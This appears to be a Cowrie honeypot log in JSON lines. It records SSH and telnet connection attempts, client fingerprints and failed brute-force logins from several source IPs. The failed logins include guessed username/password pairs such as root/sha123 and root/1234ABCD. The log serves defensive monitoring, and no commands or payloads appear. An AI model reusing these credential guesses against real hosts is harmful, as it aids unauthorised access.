{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:17:25.840634Z","src_ip":"135.235.138.43","session":"078855be7acb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"sha123","message":"login attempt [root/sha123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:17:26.605687Z","src_ip":"135.235.138.43","session":"078855be7acb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:17:27.790890Z","src_ip":"135.235.138.43","session":"078855be7acb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.156.212.86","src_port":45008,"dst_ip":"10.17.0.5","dst_port":22,"session":"417c75412107","protocol":"ssh","message":"New connection: 43.156.212.86:45008 (10.17.0.5:22) [session: 417c75412107]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:17:43.148662Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:17:43.152813Z","src_ip":"43.156.212.86","session":"417c75412107","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:17:43.399879Z","src_ip":"43.156.212.86","session":"417c75412107","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1234ABCD","message":"login attempt [root/1234ABCD] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:17:44.379251Z","src_ip":"43.156.212.86","session":"417c75412107","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:17:45.620500Z","src_ip":"43.156.212.86","session":"417c75412107","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00652146339417,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:18:05.166715Z","src_ip":"89.243.29.180","session":"dab5e060f3c2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"89.243.29.180","src_port":44676,"dst_ip":"10.17.0.5","dst_port":23,"session":"b6fa6908bd42","protocol":"telnet","message":"New connection: 89.243.29.180:44676 (10.17.0.5:23) [session: b6fa6908bd42]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:18:07.128782Z"}
{"eventid":"cowrie.session.connect","src_ip":"89.243.29.180","src_port":51158,"dst_ip":"10.17.0.5","dst_port":23,"session":"a64a2e2b07a5","protocol":"telnet","message":"New connection: 89.243.29.180:51158 (10.17.0.5:23) [session: a64a2e2b07a5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:18:12.646364Z"}
{"eventid":"cowrie.session.connect","src_ip":"177.234.174.18","src_port":44024,"dst_ip":"10.17.0.5","dst_port":22,"session":"755b3ab99e40","protocol":"ssh","message":"New connection: 177.234.174.18:44024 (10.17.0.5:22) [session: 755b3ab99e40]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:18:24.892046Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:18:24.897279Z","src_ip":"177.234.174.18","session":"755b3ab99e40","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:18:25.038585Z","src_ip":"177.234.174.18","session":"755b3ab99e40","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"40.78.155.180","src_port":33774,"dst_ip":"10.17.0.5","dst_port":22,"session":"02d3bc395753","protocol":"ssh","message":"New connection: 40.78.155.180:33774 (10.17.0.5:22) [session: 02d3bc395753]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:18:26.429951Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:18:26.434611Z","src_ip":"40.78.155.180","session":"02d3bc395753","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:18:26.470294Z","src_ip":"40.78.155.180","session":"02d3bc395753","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"dbus-helper","password":"warnight","message":"login attempt [dbus-helper/warnight] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:18:26.646411Z","src_ip":"40.78.155.180","session":"02d3bc395753","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"notification","message":"login attempt [root/notification] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:18:27.178249Z","src_ip":"177.234.174.18","session":"755b3ab99e40","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:18:27.684826Z","src_ip":"40.78.155.180","session":"02d3bc395753","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.4","message":"Connection lost after 3.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:18:28.322505Z","src_ip":"177.234.174.18","session":"755b3ab99e40","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.32.172.177","src_port":43800,"dst_ip":"10.17.0.5","dst_port":22,"session":"77df2df37233","protocol":"ssh","message":"New connection: 152.32.172.177:43800 (10.17.0.5:22) [session: 77df2df37233]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:18:35.312550Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:18:35.317488Z","src_ip":"152.32.172.177","session":"77df2df37233","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:18:35.537001Z","src_ip":"152.32.172.177","session":"77df2df37233","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"k4t14m3","message":"login attempt [root/k4t14m3] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:18:36.441009Z","src_ip":"152.32.172.177","session":"77df2df37233","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:18:37.662626Z","src_ip":"152.32.172.177","session":"77df2df37233","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.156.212.86","src_port":53902,"dst_ip":"10.17.0.5","dst_port":22,"session":"22e5e21e696e","protocol":"ssh","message":"New connection: 43.156.212.86:53902 (10.17.0.5:22) [session: 22e5e21e696e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:19:02.782897Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:19:02.789662Z","src_ip":"43.156.212.86","session":"22e5e21e696e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:19:03.028121Z","src_ip":"43.156.212.86","session":"22e5e21e696e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"zhxnephu","password":"zXXUKpvydMqzp1quBItn","message":"login attempt [zhxnephu/zXXUKpvydMqzp1quBItn] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:19:04.009867Z","src_ip":"43.156.212.86","session":"22e5e21e696e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:19:05.251410Z","src_ip":"43.156.212.86","session":"22e5e21e696e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"135.235.138.43","src_port":58992,"dst_ip":"159.203.135.109","dst_port":22,"session":"2ffb081826be","protocol":"ssh","message":"New connection: 135.235.138.43:58992 (159.203.135.109:22) [session: 2ffb081826be]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:19:07.945016Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:19:07.950716Z","src_ip":"135.235.138.43","session":"2ffb081826be","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:19:08.139826Z","src_ip":"135.235.138.43","session":"2ffb081826be","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"asam","message":"login attempt [root/asam] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:19:08.926866Z","src_ip":"135.235.138.43","session":"2ffb081826be","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:19:10.118987Z","src_ip":"135.235.138.43","session":"2ffb081826be","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00211882591248,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:19:10.728530Z","src_ip":"43.248.59.218","session":"b6913a5ff2c9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"43.248.59.254","src_port":39595,"dst_ip":"159.203.135.109","dst_port":23,"session":"f032d041c895","protocol":"telnet","message":"New connection: 43.248.59.254:39595 (159.203.135.109:23) [session: f032d041c895]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:19:12.171811Z"}
{"eventid":"cowrie.session.connect","src_ip":"43.248.59.213","src_port":3366,"dst_ip":"159.203.135.109","dst_port":23,"session":"ddb68350d42c","protocol":"telnet","message":"New connection: 43.248.59.213:3366 (159.203.135.109:23) [session: ddb68350d42c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:19:15.445687Z"}
{"eventid":"cowrie.session.connect","src_ip":"40.78.155.180","src_port":35070,"dst_ip":"10.17.0.5","dst_port":22,"session":"3b58d1d88dbb","protocol":"ssh","message":"New connection: 40.78.155.180:35070 (10.17.0.5:22) [session: 3b58d1d88dbb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:19:47.800078Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:19:47.805050Z","src_ip":"40.78.155.180","session":"3b58d1d88dbb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:19:47.845390Z","src_ip":"40.78.155.180","session":"3b58d1d88dbb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"t3st","message":"login attempt [root/t3st] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:19:48.039070Z","src_ip":"40.78.155.180","session":"3b58d1d88dbb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:19:49.081456Z","src_ip":"40.78.155.180","session":"3b58d1d88dbb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.32.172.177","src_port":53662,"dst_ip":"10.17.0.5","dst_port":22,"session":"c145608d5d2d","protocol":"ssh","message":"New connection: 152.32.172.177:53662 (10.17.0.5:22) [session: c145608d5d2d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:20:04.097320Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:20:04.102960Z","src_ip":"152.32.172.177","session":"c145608d5d2d","protocol":"ssh"}
